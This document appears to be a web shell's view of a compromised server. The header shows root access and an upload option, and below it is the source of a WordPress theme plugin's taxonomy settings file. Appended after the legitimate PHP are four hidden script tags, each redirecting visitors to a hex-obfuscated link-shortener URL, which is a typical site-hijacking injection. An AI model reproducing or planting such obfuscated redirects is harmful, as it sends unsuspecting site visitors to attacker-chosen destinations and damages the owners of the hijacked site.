HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/somonline.org/wp-content/plugins/zeen-engine/admin/taxonomy.php
<?php
/**
 * Metaboxes
 *
 * @package Zeen_Engine
 * @copyright Copyright Codetipi
 * @since 1.0.0
 */

/**
 * Taxonomy Class init
 *
 * @since  1.0.0
 */
function zeen_engine_tax() {
	$taxonomies = get_taxonomies(
		array(
			'public'   => true,
		),
		'names'
	);

	unset( $taxonomies['product_shipping_class'] );
	unset( $taxonomies['topic-tag'] );
	$widget_areas = array();
	$layouts = array();
	$grids = array();
	if ( function_exists( 'zeen_all_sidebars' ) ) {
		$widget_areas = zeen_all_sidebars( array(
			1 => esc_html__( 'Inherit' , 'zeen-engine' ),
		) );
	}
	if ( function_exists( 'zeen_customizer_layouts' ) ) {
		$layouts = zeen_customizer_layouts( '', array( 99 => array( 'url' => 'default.png' ) ) );
	}
	if ( function_exists( 'zeen_customizer_grid_values' ) ) {
		$grids = zeen_customizer_grid_values();
	}
	$zeen_engine_tax = array(
		'prefix'  => 'zeen',
		'taxonomy'  => $taxonomies,
		'src_uri' => get_parent_theme_file_uri( 'assets/admin/img/' ),
		'args'      => array(
			array(
				'control'       => 'builder',
				'id'            => 'builder',
				'title'         => 'Tipi Builder',
				'default'       => '',
			),
			array(
				'control'       => 'color',
				'id'            => 'color',
				'title'         => 'Zeen: ' . esc_html__( 'Accent Color', 'zeen-engine' ),
				'description'   => esc_html__( 'Set the main color for this taxonomy', 'zeen-engine' ),
				'default'       => '',
			),
			array(
				'control'       => 'image',
				'id'            => 'logo_main',
				'choices'       => array(
					'type' => 'id',
				),
				'title'         => 'Zeen: ' . esc_html__( 'Main Logo Override', 'zeen-engine' ),
				'default'       => '',
			),
			array(
				'control'       => 'image',
				'id'            => 'logo_main_retina',
				'choices'       => array(
					'type' => 'id',
				),
				'title'         => 'Zeen: ' . esc_html__( 'Retina Main Logo Override', 'zeen-engine' ),
				'default'       => '',
			),
			array(
				'control'       => 'background',
				'id'            => 'background',
				'title'         => 'Zeen: ' . esc_html__( 'Background', 'zeen-engine' ),
				'description'   => esc_html__( 'Optional background image or color for this taxonomy. This will take precedence over any global background options that are set.', 'zeen-engine' ),
				'default'       => '',
			),
			array(
				'control'       => 'radio-images',
				'id'            => 'layout',
				'title'         => 'Zeen: ' . esc_html__( 'Layout', 'zeen-engine' ),
				'default'       => 99,
				'choices'       => $layouts,
			),
			array(
				'control'       => 'radio-images',
				'id'            => 'sidebar',
				'title'         => 'Zeen: ' . esc_html__( 'Sidebar Location', 'zeen-engine' ),
				'description'   => '<span class="zeen-info">' . esc_html__( 'Info', 'zeen-engine' ) . '</span>' . esc_html__( 'Use Default = The setting Appearance > Customizer > Category/Tag/Etc > Category > Default Sidebar Layout.', 'zeen-engine' ),
				'default'       => 99,
				'choices'       => array(
					99 => array(
						'url'   => 'default.png',
					),
					1 => array(
						'url'   => 'sidebar-1.png',
					),
					2 => array(
						'url'   => 'sidebar-2.png',
					),
				),
				'required'      => array(
					'id'        => 'layout',
					'value'     => array( '99', '1', '2', '5', '21', '22', '24', '41', '42' , '44'),
				),
			),
			array(
				'control'       => 'on-off',
				'id'            => 'fs',
				'default'       => 'on',
				'title'         => 'Zeen: ' . esc_html__( 'Screen Edge To Edge layout', 'zeen-engine' ),
				'required'      => array(
					'id'        => 'layout',
					'value'     => $grids,
				),
			),
			array(
				'control'       => 'select',
				'id'            => 'sidebar-tids',
				'title'         => 'Zeen: ' . esc_html__( 'Sidebar to use', 'zeen-engine' ),
				'description'   => '<span class="zeen-info">' . esc_html__( 'Info', 'zeen-engine' ) . '</span>' . esc_html__( 'Inherit = Default Sidebar in Appearance > Widgets', 'zeen-engine' ),
				'default'       => 99,
				'choices'       => $widget_areas,
				'global'        => 2,
				'required'      => array(
					'id'        => 'layout',
					'value'     => array( '99', '1', '2', '5', '21', '22', '24', '41', '42', '44' ),
				),
			),
			array(
				'control'       => 'select',
				'id'            => 'pagination',
				'title'         => 'Zeen: ' . esc_html__( 'Pagination', 'zeen-engine' ),
				'default'       => 99,
				'choices'     => array(
					99 => esc_html__( 'Use Customizer Default', 'zeen-engine' ),
					1 => esc_html__( 'Numbered Pages', 'zeen-engine' ),
					2 => esc_html__( 'Load Button', 'zeen-engine' ),
					3 => esc_html__( 'Infinite Scroll', 'zeen-engine' ),
					4 => esc_html__( 'Load Button Once Then Infinite', 'zeen-engine' ),
				),
			),
		),
	);

	new Zeen_Engine_Tax( $zeen_engine_tax );

}
add_action( 'admin_init', 'zeen_engine_tax' );
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>